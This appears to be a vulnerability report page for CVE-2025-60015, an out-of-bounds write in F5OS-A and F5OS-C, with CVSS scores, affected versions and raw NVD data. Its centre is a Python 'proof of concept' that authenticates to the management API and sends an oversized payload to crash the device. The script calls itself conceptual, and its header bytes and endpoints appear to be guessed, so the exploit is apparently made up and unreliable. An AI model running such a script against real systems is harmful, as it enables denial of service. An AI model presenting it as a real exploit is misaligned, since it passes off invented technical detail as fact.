Security Vulnerability Report
中文
CVE-2025-60015 CVSS 5.7 MEDIUM

CVE-2025-60015

Published: 2025-10-15 14:15:56
Last Modified: 2025-10-22 21:05:38

Description

An out-of-bounds write vulnerability exists in F5OS-A and F5OS-C that could lead to memory corruption.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:* - VULNERABLE
F5OS-A(具体受影响的版本范围请参考F5官方K000156796安全公告)
F5OS-C(具体受影响的版本范围请参考F5官方K000156796安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60015 - F5OS-A/F5OS-C Out-of-Bounds Write PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the attack pattern. # Actual exploitation requires valid low-privilege credentials and adjacent network access. import socket import struct import ssl import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "192.168.1.1" # Target F5OS management interface IP TARGET_PORT = 443 # HTTPS management port USERNAME = "low_priv_user" # Low-privilege account credentials PASSWORD = "password123" def craft_malicious_payload(overflow_size=2048): """ Craft a malicious payload designed to trigger an out-of-bounds write. The payload contains an oversized buffer that exceeds the expected boundary in the vulnerable F5OS component. """ # Normal expected size for the parameter is typically 256 bytes normal_header = b"\x00\x01\x00\x10" # Protocol header command_id = struct.pack(">I", 0x0042) # Target command/operation ID padding = b"\x41" * overflow_size # Oversized data to trigger OOB write terminator = b"\x00\x00\x00\x00" return normal_header + command_id + padding + terminator def exploit(target_host, target_port, username, password): """ Attempt to exploit CVE-2025-60015 by sending a crafted payload to the F5OS management interface via an authenticated session. """ session = requests.Session() base_url = f"https://{target_host}:{target_port}" try: # Step 1: Authenticate with low-privilege credentials print("[*] Authenticating to F5OS management interface...") auth_response = session.post( f"{base_url}/api/v1/auth/login", auth=HTTPBasicAuth(username, password), verify=False, timeout=10 ) if auth_response.status_code != 200: print("[-] Authentication failed.") return False print("[+] Authentication successful.") # Step 2: Send crafted payload to trigger out-of-bounds write print("[*] Sending malicious payload to trigger OOB write...") payload = craft_malicious_payload(overflow_size=4096) exploit_response = session.post( f"{base_url}/api/v1/system/config", data=payload, headers={"Content-Type": "application/octet-stream"}, verify=False, timeout=15 ) print(f"[*] Response status: {exploit_response.status_code}") # Step 3: Check if system is still responsive (availability impact) try: health_check = session.get( f"{base_url}/api/v1/system/health", verify=False, timeout=5 ) if health_check.status_code == 200: print("[+] System still responsive - exploit may not have triggered.") else: print("[!] System unresponsive - possible DoS via OOB write triggered!") except requests.exceptions.RequestException: print("[!] System is DOWN - CVE-2025-60015 exploit successful (DoS)!") return True except Exception as e: print(f"[-] Error during exploitation: {e}") return False return False if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60015", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:56.170", "lastModified": "2025-10-22T21:05:38.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write vulnerability exists in F5OS-A and F5OS-C that could lead to memory corruption. \n\n \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.5.1", "versionEndExcluding": "1.5.4", "matchCriteriaId": "274F5948-3CDD-4E53-8D4F-AF728EE7CB0E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "01B43BE0-F112-4580-A188-3FE0DD140D07"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndIncluding": "1.6.2", "matchCriteriaId": "CF2910A9-DD68-4E44-8805-3392DA88A297"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.8.0", "versionEndExcluding": "1.8.2", "matchCriteriaId": "EC50AAFB-DDD8-42B0-93DA-C8F6D9337EC8"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156796", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}